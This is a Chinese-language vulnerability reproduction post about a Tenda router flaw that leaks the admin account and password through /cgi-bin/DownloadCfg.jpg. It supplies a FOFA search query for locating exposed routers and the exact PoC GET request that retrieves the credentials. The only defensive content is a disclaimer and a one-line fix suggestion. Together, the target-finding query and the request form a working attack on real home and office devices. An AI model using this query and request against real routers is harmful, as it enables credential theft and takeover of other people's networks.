admin管理员组

文章数量:1516870

前言

此文章仅用于技术交流，严禁用于对外发起恶意攻击！！！

一、产品简介

Tenda是一家专门提供网络设备和解决方案的公司，其中最知名的产品之一是路由器。Tenda路由器在家庭和小型办公室中非常受欢迎，因为它们提供了稳定的无线网络连接和易于设置的功能。

二、漏洞描述

该产品DownloadCfg.jpg文件存在信息泄露漏洞，攻击者可获得路由器后台账号密码。

三、影响范围

Tenda-路由器设备

四、复现环境

FOFA：title=“Tenda | LOGIN”

五、漏洞复现

1.访问存在漏洞的网站，抓包

2.POC 

GET /cgi-bin/DownloadCfg.jpg HTTP/1.1
Host: ip-port
Content-Length: 2

3.成功获得账号密码

六、修复建议

关闭互联网访问的权限，及时升级系统

参考链接

本文标签： 藏危机路由器暗系统

版权声明：本文标题：Tenda路由器暗藏危机：如何复现信息泄露的风险 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：https://www.betaflare.com/biancheng/1773298145a3277598.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。